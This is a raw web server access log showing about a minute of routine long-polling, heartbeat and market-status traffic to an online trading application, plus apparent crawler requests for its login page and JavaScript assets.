[09/Jan/2026:11:20:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929080196 HTTP/1.1" -
[09/Jan/2026:11:20:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929098224 HTTP/1.1" -
[09/Jan/2026:11:20:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929088051 HTTP/1.1" -
[09/Jan/2026:11:20:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929086534 HTTP/1.1" -
[09/Jan/2026:11:20:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929085269 HTTP/1.1" -
[09/Jan/2026:11:20:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:20:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:20:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:20:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:20:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929104235 HTTP/1.1" -
[09/Jan/2026:11:20:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929093195 HTTP/1.1" -
[09/Jan/2026:11:20:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:20:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929091573 HTTP/1.1" -
[09/Jan/2026:11:20:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929090404 HTTP/1.1" -
[09/Jan/2026:11:20:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929110238 HTTP/1.1" -
[09/Jan/2026:11:20:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929098256 HTTP/1.1" -
[09/Jan/2026:11:20:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:20:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929096591 HTTP/1.1" -
[09/Jan/2026:11:20:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929095429 HTTP/1.1" -
[09/Jan/2026:11:20:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929103609 HTTP/1.1" -
[09/Jan/2026:11:20:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929101612 HTTP/1.1" -
[09/Jan/2026:11:20:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929116231 HTTP/1.1" -
[09/Jan/2026:11:20:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929100454 HTTP/1.1" -
[09/Jan/2026:11:20:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929108741 HTTP/1.1" -
[09/Jan/2026:11:20:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929106650 HTTP/1.1" -
[09/Jan/2026:11:20:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929105574 HTTP/1.1" -
[09/Jan/2026:11:20:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929122226 HTTP/1.1" -
[09/Jan/2026:11:20:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:20:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:20:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929113875 HTTP/1.1" -
[09/Jan/2026:11:20:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929111684 HTTP/1.1" -
[09/Jan/2026:11:20:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929110889 HTTP/1.1" -
[09/Jan/2026:11:20:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929128227 HTTP/1.1" -
[09/Jan/2026:11:20:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929119013 HTTP/1.1" -
[09/Jan/2026:11:20:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929116722 HTTP/1.1" -
[09/Jan/2026:11:20:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929115963 HTTP/1.1" -
[09/Jan/2026:11:20:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:20:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:20:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:20:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:20:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929134230 HTTP/1.1" -
[09/Jan/2026:11:20:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:20:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929124167 HTTP/1.1" -
[09/Jan/2026:11:20:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929121766 HTTP/1.1" -
[09/Jan/2026:11:20:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929121030 HTTP/1.1" -
[09/Jan/2026:11:20:54 +0800] 40.77.167.76 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:11:20:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929140224 HTTP/1.1" -
[09/Jan/2026:11:20:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:20:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:20:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929126790 HTTP/1.1" -
[09/Jan/2026:11:20:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929129228 HTTP/1.1" -
[09/Jan/2026:11:20:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929126065 HTTP/1.1" -
[09/Jan/2026:11:21:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929146228 HTTP/1.1" -
[09/Jan/2026:11:21:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929131809 HTTP/1.1" -
[09/Jan/2026:11:21:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929134407 HTTP/1.1" -
[09/Jan/2026:11:21:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929131141 HTTP/1.1" -
[09/Jan/2026:11:21:04 +0800] 40.77.167.76 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:21:04 +0800] 40.77.167.76 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:11:21:05 +0800] 40.77.167.76 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:11:21:05 +0800] 40.77.167.76 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:11:21:06 +0800] 40.77.167.76 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:11:21:06 +0800] 40.77.167.76 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:11:21:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929136826 HTTP/1.1" -
[09/Jan/2026:11:21:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929139561 HTTP/1.1" -
[09/Jan/2026:11:21:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929152235 HTTP/1.1" -
[09/Jan/2026:11:21:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929136226 HTTP/1.1" -
[09/Jan/2026:11:21:10 +0800] 207.46.13.92 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:21:10 +0800] 207.46.13.92 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:11:21:10 +0800] 207.46.13.92 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:11:21:11 +0800] 207.46.13.92 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:11:21:11 +0800] 207.46.13.92 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:11:21:11 +0800] 207.46.13.92 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:11:21:12 +0800] 207.46.13.92 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:21:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929141858 HTTP/1.1" -
[09/Jan/2026:11:21:13 +0800] 207.46.13.92 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:21:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929144711 HTTP/1.1" -
[09/Jan/2026:11:21:13 +0800] 207.46.13.92 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:21:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929141300 HTTP/1.1" -
[09/Jan/2026:11:21:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929158226 HTTP/1.1" -
[09/Jan/2026:11:21:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929146895 HTTP/1.1" -
[09/Jan/2026:11:21:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929149862 HTTP/1.1" -
[09/Jan/2026:11:21:18 +0800] 40.77.167.76 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:21:18 +0800] 40.77.167.76 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:21:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929146383 HTTP/1.1" -
[09/Jan/2026:11:21:19 +0800] 40.77.167.76 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
